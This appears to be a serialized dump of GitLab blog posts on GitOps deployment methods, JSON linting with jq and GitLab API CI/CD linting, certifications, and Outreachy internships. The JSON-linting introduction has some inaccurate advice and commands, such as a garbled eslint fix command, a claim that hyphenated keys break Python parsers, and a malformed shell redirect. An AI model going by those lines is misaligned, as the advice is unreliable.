an agent must be installed in each Kubernetes cluster.\n![pull based deployment](https://about.gitlab.com/images/blogimages/gitops-pull.png){: .shadow.medium.center}\nHow the pull-based approach works for GitOps.\n{: .note.text-center}\n\n## How to employ GitOps principles using GitLab\n\nGitLab supports both of the approaches mentioned above, which can be used with and without a Kubernetes agent. Along with the [recently introduced Kubernetes agent](/blog/gitlab-kubernetes-agent-on-gitlab-com/), GitLab supports GitOps principles by supporting a three types of deployment targets and environments: The single application for infrastructure code; configurations using CI/CD for automation; and merge requests for collaboration and controls.\n\nBelow we unpack three methods for applying GitOps principles using GitLab technology.\n\n### Push using manually configured CI/CD release targets\n\nThe infrastructure configurations are stored in git. The user sets up the [supported deployment targets](/install/) and uses the standard CI/CD workflow to push infrastructure changes. To ensure the desired state in the repository is consistent with the environment, CI/CD will need to run on a regular schedule to identify drift and reconcile as required. Manual intervention may be required at times to cater to failed pipelines. Many GitLab users have been using this approach to push infrastructure changes to their test, staging, and production environments.\n\nThe manual push approach is ideal for both Kubernetes and supported non-Kubernetes environments, such as embedded systems, on-premise servers, mainframes, virtual machines, or FaaS offerings.\n\n### Push using Terraform\n\nIn this approach, an out-of-the box [integration with Terraform](https://docs.gitlab.com/ee/user/infrastructure/) helps Terraform users seamlessly implement GitOps workflows using GitLab. Terraform manifests are stored in the Git repository where users can collaborate on changes within the merge requests. The Terraform plan reports can be displayed within the merge requests and the Terraform state can be stored using the GitLab-managed Terraform state backend. Everything is integrated into GitLab, which spares users from performing these tasks via third-party tools or integrations.\n\nThe push approach is ideal for both Kubernetes and non-Kubernetes deployment targets that are supported by Terraform.\n\n### Pull using a Kubernetes agent\n\nIn fall 2020, GitLab [introduced a Kubernetes agent](/blog/gitlab-kubernetes-agent-on-gitlab-com/) that initiates a secure web-socket connection from a Kubernetes cluster to a GitLab instance. There is a GitLab server component that polls for any repository changes on the server and informs the agent when there is a deviation between the desired state and the cluster environment. This process helps minimize the load on the cluster and network. Whenever a drift is detected the agent pulls the latest configurations from the git repository and updates the environment accordingly. This GitOps approach requires the Kubernetes agent to be installed on every Kubernetes cluster, which can be done with ease as the GitLab Agent for Kubernetes uses GitOps principles to install and update the agent as required. This GitOps method is ideal for Kubernetes environments only.\n\n![kubernetes agent](https://about.gitlab.com/images/blogimages/gitops-agent.png){: .shadow.medium.center}\nInside the pull-based approach using a Kubernetes agent.\n{: .note.text-center}\n\n### Up next: Push using a Kubernetes agent\n\nGitLab also aims to support GitOps is by using a push approach with a Kubernetes agent. The push based approach using manually configured Kubernetes target attaches a Kubernetes cluster to GitLab through a certificate exchange. This approach leverages the CI/CD workflow for infrastructure automation and is fairly straightforward, but it also introduces risk by opening up a firewall and using cluster admin rights for cluster integration. To overcome these challenges while leveraging the CI/CD workflow - the [push-based approach using the Kubernetes agent](https://gitlab.com/groups/gitlab-org/-/epics/5528) aims to reuse the web-socket interface to establish a secure connection between GitLab and the Kubernetes cluster and allows GitLab CI/CD to securely push changes using this interface. When available, this approach would also provide a migration path for users who are currently setting up the Kubernetes integration using a certificate exchange.\n\nThe third approach is ideal for Kubernetes environments only. When available, it can be used in conjuction with the pull-based approach to optimize the GitOps workflow.\n\n## Accelerate the SDLC with GitOps principles\n\nWhether you are using physical, virtual, containers, Kubernetes - on-prem or cloud-based infrastructures – GitLab uses GitOps principles a variety of ways to meet your team wherever it's at. GitLab supports many different options because we understand the typical organization has a mixed IT landscape, with various heterogeneous technologies in a number of different environments.\n\n***What’s your preferred approach to GitOps?*** Drop us a comment.\n\n## Learn more about GitOps at GitLab\n\nRead on to explore how GitLab works with different technologies to deliver a GitOps solution for every company at every stage.\n\n* ***Blog***: [A new era of Kubernetes integrations on GitLab.com](/blog/gitlab-kubernetes-agent-on-gitlab-com/)\n* ***Webcast***: [GitLab and HashiCorp - A holistic guide to GitOps and the Cloud Operating Model](/webcast/gitlab-hashicorp-gitops/)\n* ***Testimonial***: [Shaping a financial service’s cloud strategy using GitLab and Terraform](https://www.youtube.com/watch?v=2LF3eOoGV_o&list=PLFGfElNsQthb4FD4y1UyEzi2ktSeIzLxj&index=6)\n\nCover image by [Rodolfo Cuadros](https://unsplash.com/@rocua18) on [Unsplash](https://unsplash.com/photos/JKzgp6vhJ8M)\n{: .note}\n",[534,1385,2509,3949],{"slug":18841,"featured":6,"template":678},"gitops-done-3-ways","content:en-us:blog:gitops-done-3-ways.yml","Gitops Done 3 Ways","en-us/blog/gitops-done-3-ways.yml","en-us/blog/gitops-done-3-ways",{"_path":18847,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18848,"content":18854,"config":18860,"_id":18862,"_type":16,"title":18863,"_source":17,"_file":18864,"_stem":18865,"_extension":20},"/en-us/blog/devops-workflows-json-format-jq-ci-cd-lint",{"title":18849,"description":18850,"ogTitle":18849,"ogDescription":18850,"noIndex":6,"ogImage":18851,"ogUrl":18852,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18852,"schema":18853},"JSON formatting and CI/CD linting tips for DevOps workflows","Learn how to filter in JSON data structures and interact with the REST API. Use the GitLab API to lint your CI/CD configuration and dive into Git hooks speeding up your workflows.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681979/Blog/Hero%20Images/gert-boers-unsplash.jpg","https://about.gitlab.com/blog/devops-workflows-json-format-jq-ci-cd-lint","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tips for productive DevOps workflows: JSON formatting with jq and CI/CD linting automation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2021-04-21\",\n      }",{"title":18855,"description":18850,"authors":18856,"heroImage":18851,"date":18857,"body":18858,"category":734,"tags":18859},"Tips for productive DevOps workflows: JSON formatting with jq and CI/CD linting automation",[4808],"2021-04-21","\n\n## What is JSON linting?\n\nTo understand JSON linting, let’s quickly break down the two concepts of JSON and linting. \n\n***JSON*** is an acronym for JavaScript Object Notation, which is a lightweight, text-based, open standard format designed specifically for representing structured data based on the JavaScript object syntax. It is most commonly used for transmitting data in web applications. It parses data faster than XML and is easy for humans to read and write.\n\n***Linting*** is a process that automatically checks and analyzes static source code for programming and stylistic errors, bugs and suspicious constructs. \n\nJSON has become popular because it is human-readable and doesn’t require a complete markup structure like XML. It is easy to analyze into logical syntactic components, especially in JavaScript. It also has many JSON libraries for most programming languages.\n\n### Benefits of JSON linting\n\nFinding an error in JSON code can be challenging and time-consuming. The best way to find and correct errors while simultaneously saving time is to use a linting tool. When Json code is copied and pasted into the linting editor, it validates and reformats Json. It is easy to use and supports a wide range of browsers, so applications development with Json coding don’t require a lot of effort to make them browser-compatible.\n\nJSON linting is an efficient way to reduce errors and it improves the overall quality of the JSON code. This can help accelerate development and reduce costs because errors are discovered earlier.\n\n### Some common JSON linting errors\n\nIn instances where a JSON transaction fails, the error information is conveyed to the user by the API gateway. By default, the API gateway returns a very basic fault to the client when a message filter has failed.\n\nOne common JSON linting error is parsing. A “parse: unexpected character\" error occurs when passing a value that is not a valid JSON string to the JSON. parse method, for example, a native JavaScript object. To solve the error, make sure to only pass valid JSON strings to the JSON.\n\nAnother common error is NULL or inaccurate data errors, not using the right data type per column or extension for JSON files, and not ensuring every row in the JSON table is in the JSON format.\n\n### How to fix JSON linting errors\n\nIf you encounter a NULL or inaccurate data error in parsing, the first step is to make sure you use the right data type per column. For example, in the case of “age,” use 12 instead of twelve.\n\nAlso make sure you are using the right extension for JSON files. When using a compressed JSON file, it must end with “json” followed by the extension of the format, such as “.gz.”\n\nNext, make sure the JSON format is used for every row in the JSON table. Create a table with a delimiter that is not in the input files. Then, run a query equivalent to the return name of the file, row points and the file path for the null NSON rows.\n\nSometimes you may find files that are not your source code files, but ones generated by the system when compiling your project. In that instance, when the file has a .js extension, the ESLint needs to exclude that file when searching for errors. One method of doing this is by using ‘IgnorePatterns:’ in .eslintrc.json file either after or before the “rules” tag.\n\n“ignorePatterns”: [“temp.js”, “**/vendor/*.js”],\n\n“rules”: {\n\nAlternatively, you can create a separate file named‘.eslintignore’ and incorporate the files to be excluded as shown below :\n**/*.js\nIf you opt to correct instead of ignore, look for the error code in the last column. Correct all the errors in one fule and rerun ‘npx eslint . >errfile’ and ensure all the errors of that type are cleared. Then look for the next error code and repeat the procedure until all errors are cleared.\n\nOf course, there will be instances when you won’t understand an error, so in that case, open [https://eslint.org/docs/user-guide/getting-started](https://eslint.org/docs/user-guide/getting-started) and type the error code in the ‘Search’ field on the top of the document. There you will find very detailed instructions as to why that error is raised and how to fix it.\n\nFinally, you can forcibly fix errors automatically while generating the error list using:\n\nNpx eslintrc . — fix \n\nThis is not recommended until you become more well-versed with lint errors and how to fix them. Also, you should keep a backup of the files you are linting because while fixing errors, certain code may get overwritten, which could cause your program to fail.\n\n## JSON linting best practices\n\nHere are some tips for helping your consumers use your output:\n\nFirst, always enclose the **Key** **:** **Value** pair within **double quotes**. It may be convenient (not sure how) to generate with Single quotes, but JSON parser don’t like to parse JSON objects with single quotes.\n\nFor numerical values, quotes are optional but it is a good idea to enclose them in double quotes.\n\nNext, don’t ever use hyphens in your key fields because it breaks python and scala parser. Instead use underscores (_). \n\nIt’s a good idea to always create a root element, especially when you’re creating a complicated JSON.\n\n\nModern web applications come with a REST API which returns JSON. The format needs to be parsed, and often feeds into scripts and service daemons polling the API for automation.\n\nStarting with a new REST API and its endpoints can often be overwhelming. Documentation may suggest looking into a set of SDKs and libraries for various languages, or instruct you to use `curl` or `wget` on the CLI to send a request. Both CLI tools come with a variety of parameters which help to download and print the response string, for example in JSON format.\n\nThe response string retrieved from `curl` may get long and confusing. It can require parsing the JSON format and filtering for a smaller subset of results. This helps with viewing the results on the CLI, and minimizes the data to process in scripts. The following example retrieves all projects from GitLab and returns a paginated result set with the first 20 projects:\n\n```shell\n$ curl \"https://gitlab.com/api/v4/projects\"\n```\n\n![Raw JSON as API response](https://about.gitlab.com/images/blogimages/devops-workflows-json-format-jq-ci-cd-lint/gitlab_api_response_raw_json.png){: .shadow}\n\nThe [GitLab REST API documentation](https://docs.gitlab.com/ee/api/#how-to-use-the-api) guides you through the first steps with error handling and authentication. In this blog post, we will be using the [Personal Access Token](https://docs.gitlab.com/ee/api/#personalproject-access-tokens) as the authentication method. Alternatively, you can use [project access tokens](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html) for [automated authentication](https://docs.gitlab.com/ee/api/#authentication) that avoids the use of personal credentials.\n\n### REST API authentication\n\nSince not all endpoints are accessible with anonymous access they might require authentication. Try fetching user profile data with this request:\n\n```shell\n$ curl \"https://gitlab.com/api/v4/user\"\n{\"message\":\"401 Unauthorized\"}\n```\n\nThe API request against the `/user` endpoint requires to pass the personal access token into the request, for example, as a request header. To avoid exposing credentials on the terminal, you can export the token and its value into the user's environment. You can automate the variable export with ZSH and the [.env plugin](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/dotenv) in your shell environment. You can also source the `.env` once in the existing shell environment.\n\n```shell\n$ vim ~/.env\n\nexport GITLAB_TOKEN=”...”\n\n$ source ~/.env\n```\n\nScripts and commands being run in your shell environment can reference the `$GITLAB_TOKEN` variable. Try querying the user API endpoint again, with adding the authorization header into the request:\n\n```shell\n$ curl -H \"Authorization: Bearer $GITLAB_TOKEN\" \"https://gitlab.com/api/v4/user\"\n```\n\nA reminder that only administrators can see the attributes of all users, and the individual can only see their user profile – for example, `email` is hidden from the public domain.\n\n### How to request responses in JSON\n\nThe [GitLab API provides many resources](https://docs.gitlab.com/ee/api/api_resources.html) and URL endpoints. You can manage almost anything with the API that you’d otherwise configure using the graphic user interface.\n\nAfter sending the [API request](https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_message), the [response message](https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Response_message) contains the body as string, for example as a [JSON content type](https://docs.gitlab.com/ee/api/#content-type). `curl` can provide more information about the response headers which is helpful for debugging. Multiple verbose levels enable the full debug output with `-vvv`:\n\n```shell\n$ curl -vvv \"https://gitlab.com/api/v4/projects\"\n[...]\n* SSL connection using TLSv1.2 / ECDHE-RSA-CHACHA20-POLY1305\n* ALPN, server accepted to use h2\n* Server certificate:\n*  subject: CN=gitlab.com\n*  start date: Jan 21 00:00:00 2021 GMT\n*  expire date: May 11 23:59:59 2021 GMT\n*  subjectAltName: host \"gitlab.com\" matched cert's \"gitlab.com\"\n*  issuer: C=GB; ST=Greater Manchester; L=Salford; O=Sectigo Limited; CN=Sectigo RSA Domain Validation Secure Server CA\n*  SSL certificate verify ok.\n[...]\n> GET /api/v4/projects HTTP/2\n> Host: gitlab.com\n> User-Agent: curl/7.64.1\n> Accept: */*\n[...]\n\u003C HTTP/2 200\n\u003C date: Mon, 19 Apr 2021 11:25:31 GMT\n\u003C content-type: application/json\n[...]\n[{\"id\":25993690,\"description\":\"project for adding issues\",\"name\":\"project-for-issues-1e1b6d5f938fb240\",\"name_with_namespace\":\"gitlab-qa-sandbox-group / qa-test-2021-04-19-11-13-01-d7d873fd43cd34b6 / project-for-issues-1e1b6d5f938fb240\",\"path\":\"project-for-issues-1e1b6d5f938fb240\",\"path_with_namespace\":\"gitlab-qa-sandbox-group/qa-test-2021-04-19-11-13-01-d7d873fd43cd34b6/project-for-issues-1e1b6d5f938fb240\"\n\n[... JSON content ...]\n\n\"avatar_url\":null,\"web_url\":\"https://gitlab.com/groups/gitlab-qa-sandbox-group/qa-test-2021-04-19-11-12-56-7f3128bd0e41b92f\"}}]\n* Closing connection 0\n```\n\nThe `curl` command output provides helpful insights into TLS ciphers and versions, the request lines starting with `>` and response lines starting with `\u003C`. The response body string is encoded as JSON.\n\n### How to see the structure of the returned JSON\n\nTo get a quick look at the structure of the returned JSON file, try these tips:\n\n* Enclose square brackets to identify an array `[ …. ]`.\n* Enclose curly brackets identify a [dictionary](https://en.wikipedia.org/wiki/Associative_array) `{ … }`. Dictionaries are also called associative arrays, maps, etc.\n* `”key”: value` indicates a key-value pair in a dictionary, which is identified by curly brackets enclosing the key-value pairs.\n\nThe values in [JSON](https://en.wikipedia.org/wiki/JSON) consist of specific types - a string value is put in double-quotes. Boolean true/false, numbers, and floating-point numbers are also present as types. If a key exists but its value is not set, REST APIs often return `null`.\n\nVerify the data structure by running \"linters\". Python's JSON module can parse and lint JSON strings. The example below misses a closing square bracket to showcase the error:\n\n```shell\n$ echo '[{\"key\": \"broken\"}' | python -m json.tool\nExpecting object: line 1 column 19 (char 18)\n```\n\n[jq](https://stedolan.github.io/jq/) – a lightweight and flexible CLI processor – can be used as a standalone tool to parse and validate JSON data.\n\n```shell\n$ echo '[{\"key\": \"broken\"}' | jq\nparse error: Unfinished JSON term at EOF at line 2, column 0\n```\n\n[`jq` is available](https://stedolan.github.io/jq/download/) in the package managers of most operating systems.\n\n```shell\n$ brew install jq\n$ apt install jq\n$ dnf install jq\n$ zypper in jq\n$ pacman -S jq\n$ apk add jq\n```\n\n### Dive deep into JSON data structures\n\nThe true power of `jq` lies in how it can be used to parse JSON data:\n\n> `jq` is like `sed` for JSON data. It can be used to slice, filter, map, and transform structured data with the same ease that `sed`, `awk`, `grep` etc., let you manipulate text.\n\nThe output below shows how it looks to run the request against the project API again, but this time, the output is piped to `jq`.\n\n```shell\n$ curl \"https://gitlab.com/api/v4/projects\" | jq\n[\n  {\n    \"id\": 25994891,\n    \"description\": \"...\",\n    \"name\": \"...\",\n\n[...]\n\n    \"forks_count\": 0,\n    \"star_count\": 0,\n    \"last_activity_at\": \"2021-04-19T11:50:24.292Z\",\n    \"namespace\": {\n      \"id\": 11528141,\n      \"name\": \"...\",\n\n[...]\n\n    }\n  }\n]\n```\n\nThe first difference is the format of the JSON data structure, so-called [pretty-printed](https://en.wikipedia.org/wiki/Prettyprint). New lines and indents in data structure scopes help your eyes and allow you to identify the inner and outer data structures involved. This format is needed to determine which `jq` filters and methods you want to apply next.\n\n#### About arrays and dictionaries\n\nThe set of results from an API often is returned as a list (or \"array\") of items. An item itself can be a single value or a JSON object. The following example mimics the response from the GitLab API and creates an array of dictionaries as a nested result set.\n\n```shell\n$ vim result.json\n[\n  {\n    \"id\": 1,\n    \"name\": \"project1\"\n  },\n  {\n    \"id\": 2,\n    \"name\": \"project2\"\n  },\n  {\n    \"id\": 3,\n    \"name\": \"project-internal-dev\",\n    \"namespace\": {\n      \"name\": \"🦊\"\n    }\n  }\n]\n```\n\nUse `cat` to print the file content on stdout and pipe it into `jq`. The outer data structure is an array – use `-c .[]` to access and print all items.\n\n```shell\n$ cat result.json | jq -c '.[]'\n{\"id\":1,\"name\":\"project1\"}\n{\"id\":2,\"name\":\"project2\"}\n{\"id\":3,\"name\":\"project-internal-dev\",\"namespace\":{\"name\":\"🦊\"}}\n```\n\n### How to filter data structures with `jq`\n\nFilter items by passing `| select (...)` to `jq`. The filter takes a lambda callback function as a comparator condition. When the item matches the condition, it is returned to the caller.\n\nUse the dot indexer `.` to access dictionary keys and their values. Try to filter for all items where the name is `project2`:\n\n```shell\n$ cat result.json | jq -c '.[] | select (.name == \"project2\")'\n{\"id\":2,\"name\":\"project2\"}\n```\n\nPractice this example by selecting the `id` with the value `2` instead of the `name`.\n\n#### Filter with matching a string\n\nDuring tests, you may need to match different patterns instead of knowing the full name. Think of projects that match a specific path or are located in a group where you only know the prefix. Simple string matches can be achieved with the `| contains (...)` function. It allows you to check whether the given string is inside the target string – which requires the selected attribute to be of the string type.\n\nFor a filter with the select chain, the comparison condition needs to be changed from the equal operator `==` to checking the attribute `.name` with `| contains (\"dev\")`.\n\n```shell\n$ cat result.json | jq -c '.[] | select (.name | contains (\"dev\") )'\n{\"id\":3,\"name\":\"project-internal-dev\",\"namespace\":{\"name\":\"🦊\"}}\n```\n\nSimple matches can be achieved with the `contains` function.\n\n#### Filter with matching regular expressions\n\nFor advanced string pattern matching, it is recommended to use regular expressions. `jq` provides the [test function for this use case](https://stedolan.github.io/jq/manual/#RegularexpressionsPCRE). Try to filter for all projects which end with a number, represented by `\\d+`. Note that the backslash `\\` needs to be escaped as `\\\\` for shell execution. `^` tests for beginning of the string, `$` is the ending check.\n\n```shell\n$ cat result.json | jq -c '.[] | select (.name | test (\"^project\\\\d+$\") )'\n{\"id\":1,\"name\":\"project1\"}\n{\"id\":2,\"name\":\"project2\"}\n```\n\nTip: You can [test and build the regular expression with regex101](https://regex101.com/) before test-driving it with `jq`.\n\n#### Access nested values\n\nKey value pairs in a dictionary may have a dictionary or array as a value. `jq` filters need to take this factor into account when filtering or transforming the result. The example data structure provides `project-internal-dev` which has the key `namespace` and a value of a dictionary type.\n\n```shell\n  {\n    \"id\": 3,\n    \"name\": \"project-internal-dev\",\n    \"namespace\": {\n      \"name\": \"🦊\"\n    }\n  }\n```\n\n`jq` allows the user to specify the [array and dictionary types](https://stedolan.github.io/jq/manual/#TypesandValues) as `[]` and `{}` to be used in select chains with greater and less than comparisons. The `[]` brackets select filters for non-empty dictionaries for the `namespace` attribute, while the `{}` brackets select for all `null` (raw JSON) values.\n\n```shell\n$ cat result.json | jq -c '.[] | select (.namespace >={} )'\n{\"id\":3,\"name\":\"project-internal-dev\",\"namespace\":{\"name\":\"🦊\"}}\n\n$ cat result.json | jq -c '.[] | select (.namespace \u003C={} )'\n{\"id\":1,\"name\":\"project1\"}\n{\"id\":2,\"name\":\"project2\"}\n```\n\nThese methods can be used to access the name attribute of the namespace, but only if the namespace contains values. Tip: You can chain multiple `jq` calls by piping the result into another `jq` call. `.name` is a subkey of the primary `.namespace` key.\n\n```shell\n$ cat result.json | jq -c '.[] | select (.namespace >={} )' | jq -c '.namespace.name'\n\"🦊\"\n```\n\nThe additional select command with non-empty namespaces ensures that only initialized values for `.namespace.name` are returned. This is a safety check, and avoids receiving `null` values in the result you would need to filter again.\n\n```shell\n$ cat result.json| jq -c '.[]' | jq -c '.namespace.name'\nnull\nnull\n\"🦊\"\n```\n\nBy using the additional check with `| select (.namespace >={} )`, you only get the expected results and do not have to filter empty `null` values.\n\n### How to expand the GitLab endpoint response\n\nSave the result from the API projects call and retry the examples above with `jq`.\n\n```shell\n$ curl \"https://gitlab.com/api/v4/projects\" -o result.json 2&>1 >/dev/null\n```\n\n### Validate CI/CD YAML with `jq` for Git hooks\n\nWhile writing this blog post, I learned that you can [escape and encode YAML into JSON with `jq`](https://docs.gitlab.com/ee/api/lint.html#escape-yaml-for-json-encoding). This trick comes in handy when automating YAML linting on the CLI, for example as a Git pre-commit hook.\n\nLet’s take a look at the simplest way to test GitLab CI/CD from our [community meetup workshops](https://gitlab.com/gitlab-de/swiss-meetup-2021-jan#resources). A common mistake with the first steps of the process can be missing the two spaces indent or missing whitespace between the dash and following command. The following examples use `.gitlab-ci.error.yml` as a filename to showcase errors and `.gitlab-ci.main.yml` for working examples.\n\n```shell\n$ vim .gitlab-ci.error.yml\n\nimage: alpine:latest\n\ntest:\nscript:\n  -exit 1\n```\n\nCommitting the change and waiting for the CI/CD pipeline to validate at runtime can be time-consuming. The [GitLab API provides a resource endpoint /ci/lint](https://docs.gitlab.com/ee/api/lint.html#validate-the-ci-yaml-configuration). A POST request with JSON-encoded YAML content will return a linting result faster.\n\n#### Parse CI/CD YAML into JSON with jq\n\nYou can use jq to parse the raw YAML string into JSON:\n\n```shell\n$ jq --raw-input --slurp \u003C .gitlab-ci.error.yml\n\"image: alpine:latest\\n\\ntest:\\nscript:\\n  -exit 1\\n\"\n```\n\nThe `/ci/lint` API endpoint requires a JSON dictionary with `content` as key, and the raw YAML string as a value. You can use `jq` to format the input by using the arg parser:\n\n```shell\n§ jq --null-input --arg yaml \"$(\u003C.gitlab-ci.error.yml)\" '.content=$yaml'\n{\n  \"content\": \"image: alpine:latest\\n\\ntest:\\nscript:\\n  -exit 1\"\n}\n```\n\n#### Send POST request to /ci/lint\n\nThe next building block is to [send a POST request to the /ci/lint](https://docs.gitlab.com/ee/api/lint.html#validate-the-ci-yaml-configuration). The request needs to specify the `Content-Type` header for the body. With using the pipe `|` character, the JSON-encoded YAML configuration is fed into the curl command call.\n\n```shell\n$ jq --null-input --arg yaml \"$(\u003C.gitlab-ci.error.yml)\" '.content=$yaml' \\\n| curl \"https://gitlab.com/api/v4/ci/lint?include_merged_yaml=true\" \\\n--header 'Content-Type: application/json' --data @-\n{\"status\":\"invalid\",\"errors\":[\"jobs test config should implement a script: or a trigger: keyword\",\"jobs script config should implement a script: or a trigger: keyword\",\"jobs config should contain at least one visible job\"],\"warnings\":[],\"merged_yaml\":\"",[1384,4103,696],{"slug":18861,"featured":6,"template":678},"devops-workflows-json-format-jq-ci-cd-lint","content:en-us:blog:devops-workflows-json-format-jq-ci-cd-lint.yml","Devops Workflows Json Format Jq Ci Cd Lint","en-us/blog/devops-workflows-json-format-jq-ci-cd-lint.yml","en-us/blog/devops-workflows-json-format-jq-ci-cd-lint",{"_path":18867,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18868,"content":18873,"config":18878,"_id":18880,"_type":16,"title":18881,"_source":17,"_file":18882,"_stem":18883,"_extension":20},"/en-us/blog/everyone-can-get-certified",{"title":18869,"description":18870,"ogTitle":18869,"ogDescription":18870,"noIndex":6,"ogImage":12013,"ogUrl":18871,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18871,"schema":18872},"Everyone Can Get Certified!","GitLab Learn learning platform now available to the GitLab wider community","https://about.gitlab.com/blog/everyone-can-get-certified","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Everyone Can Get Certified!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christine Yoshida\"}],\n        \"datePublished\": \"2021-04-20\",\n      }",{"title":18869,"description":18870,"authors":18874,"heroImage":12013,"date":18875,"body":18876,"category":736,"tags":18877},[18668],"2021-04-20","**Please note we have new resources since this article was first published:**\n\n* **[Register for a free GitLab University account](https://university.gitlab.com/) using your Gitlab.com login.**\n* **Find our current exams on our [Certifications page](https://university.gitlab.com/pages/certifications), which are available for purchase.**\n* **Use [GitLab with Git Essentials](https://university.gitlab.com/courses/gitlab-with-git-essentials-s2) as a replacement for GitLab 101 and 201 courses.**\n\n\u003Cbr>\nAt GitLab we believe in an inclusive approach for thriving as team members and contributing as part of the wider community. That’s why we are excited to highlight our [GitLab Learn](https://university.gitlab.com/) learning platform, which is newly available to the GitLab wider community. \n\nNow anyone can learn, and anyone can get certified! To get started visit GitLab Learn and create an account. \n\n## Free Certification Pathways \n\nOn GitLab Learn you’ll find learning paths and certifications that we make available to GitLab team members as well as the wider GitLab community.   \n\nHere are some of the free certification and badge pathways you’re welcome to complete on the site, created by the GitLab [Learning & Development Team](https://university.gitlab.com/):  \n- GitLab 101 certification that covers Git basics and fundamental concepts such as branches, commits, version control, DevOps, GitLab issues, and merge requests.\n- GitLab 201 certification  \n- Diversity, Inclusion, and Belonging Training certification \n- Remote Work Foundations badge \n- Bias Towards Asynchronous Communication badge \n\n## GitLab Technical Certifications \n\nOver the past 12 months GitLab launched 6 [new technical certifications](https://university.gitlab.com/pages/certifications), which focus on everything from continuous integration and continuous delivery (CI/CD) to security and project management.\n\nThese certifications were made available to GitLab Professional Services customers who purchased live instructor-led GitLab training for their teams and [GitLab Commit 2020](/events/commit/) attendees. As a result of our latest iteration efforts we are beginning to roll out self-service, asynchronous versions to make them available for everyone on GitLab Learn!  \n\n### New Async Technical Certification Option \n\nWe’re now bundling together the three main components you need to earn the [GitLab Certified Associate certification](https://university.gitlab.com/courses/gitlab-with-git-essentials-certification-exam) asynchronously: A self-study eLearning preparation course, a certification knowledge exam, and a graded hands-on exam you complete in a GitLab sandbox environment. This self-service GitLab training bundle is available on GitLab Learn and is priced at USD $650.  \n\n#### Amazing Positive Response to Our Promotion! \n\nWe’ve had an overwhelmingly positive response to our certifications on GitLab Learn and have reached our planned user limit on the discount code we offered in just 2 days instead of 10!\n\nThe promotion is over, but if you are interested in hearing from us about future offerings and GitLab Learn activities, please [create an account](https://university.gitlab.com/) to view our certification announcements. \n\n*Steps for Enrolling:*\n\nWe recommend using Google Chrome, clearing your cookies, and ensuring you have cookies enabled. If you prefer to use a mobile device, create your account on a desktop system first and then use the Edcast mobile app on Google Play or the Apple App Store for the best experience. \n\n1. In Google Chrome, navigate to [GitLab Learn](https://university.gitlab.com/) and click \"Login with your email and password\" then click the purple Sign Up button to create an account. If you are a GitLab Team Member you do not need to create an account and you can use the orange SSO button.\n2. Once logged in, locate the GitLab Certified Associate Pathway and click the orange Enroll button. This will take you to a separate webpage to enter your discount code.  \n3. On this webpage click Proceed with Order and fill in your details.\n4. On the Payment Method screen, add your payment method.\n5. Click the Place Order button and then click the Go to My Content Now button to access the content.\n\n## Your comments are welcome here!  \n\nTell us how GitLab certifications have helped you or your team thrive.\n",[267,9297,736,550],{"slug":18879,"featured":6,"template":678},"everyone-can-get-certified","content:en-us:blog:everyone-can-get-certified.yml","Everyone Can Get Certified","en-us/blog/everyone-can-get-certified.yml","en-us/blog/everyone-can-get-certified",{"_path":18885,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18886,"content":18891,"config":18899,"_id":18901,"_type":16,"title":18902,"_source":17,"_file":18903,"_stem":18904,"_extension":20},"/en-us/blog/outreachy-sponsorship-winter-2020",{"title":18887,"description":18888,"ogTitle":18887,"ogDescription":18888,"noIndex":6,"ogImage":18626,"ogUrl":18889,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18889,"schema":18890},"Technology internships meet open source in Outreachy","Inside Outreachy technology internships, where participants work on Git.","https://about.gitlab.com/blog/outreachy-sponsorship-winter-2020","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Technology internships meet open source in Outreachy\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joey Salazar\"},{\"@type\":\"Person\",\"name\":\"Charvi Mendiratta\"},{\"@type\":\"Person\",\"name\":\"Nuritzi Sanchez\"},{\"@type\":\"Person\",\"name\":\"Christian Couder\"}],\n        \"datePublished\": \"2021-04-15\",\n      }",{"title":18887,"description":18888,"authors":18892,"heroImage":18626,"date":18896,"body":18897,"category":813,"tags":18898},[18893,18894,18895,3145],"Joey Salazar","Charvi Mendiratta","Nuritzi Sanchez","2021-04-15","\n\nAs an enthusiastic participant in the [open source](/blog/innersourcing-using-the-open-source-workflow-to-improve-collaboration-within-an-organization/) community, we were excited to participate in the [Outreachy technology internships program](https://www.outreachy.org/) again this year, which focuses on women and underrepresented groups. It's a way GitLab can give back, and as a bonus, Outreachy's principles intersect with [our Diversity, Inclusion and Belonging value](https://handbook.gitlab.com/handbook/values/#diversity-inclusion).\n\n## About the Outreachy program\n\nInitially, Outreachy began as the Open Source Program for Women (OPW) at [GNOME](https://www.gnome.org/about-us/). The program was successful and grew quickly. Today, Outreachy has grown into the largest global technology internships program that provides opportunities for women and underrepresented groups to work on open source projects.\n\nCurrently, Outreachy is independently organized with the help of many volunteers, or sponsored help. For example, [Cindy Pallares](/company/team/#cindy) is a GitLab employee and helps with organizing Outreachy as a site reliability engineer.\n\nOutreachy is a paid technology internship program that runs twice a year for three months. During that time, interns can work in areas like programming, user experience, documentation, illustration and graphic design, or data science. In this technology internship program, participants work remotely with experienced mentors from prominent FOSS communities like Git, Mozilla, Linux kernel, GNOME, Wikimedia, and many others.\n\nOne of the benefits of the Outreachy technology internship is that the interns do not need to be students. It's a great opportunity for people who are coming back into the workforce after a hiatus, or who are navigating a career change into tech. This technology internship program is unique because it incorporates skill sets beyond engineering – which creates a broader range of skill sets represented in the open source world. The Outreachy internship is remote, making it more relevant than ever during the pandemic by helping interns gain experience working on an all-remote team.\n\nGitLab is one of the organizations that sponsors the Outreachy technology internship program, and we hope that by sharing our experience we can encourage more tech organizations to join us in participating in Outreachy as [corporate 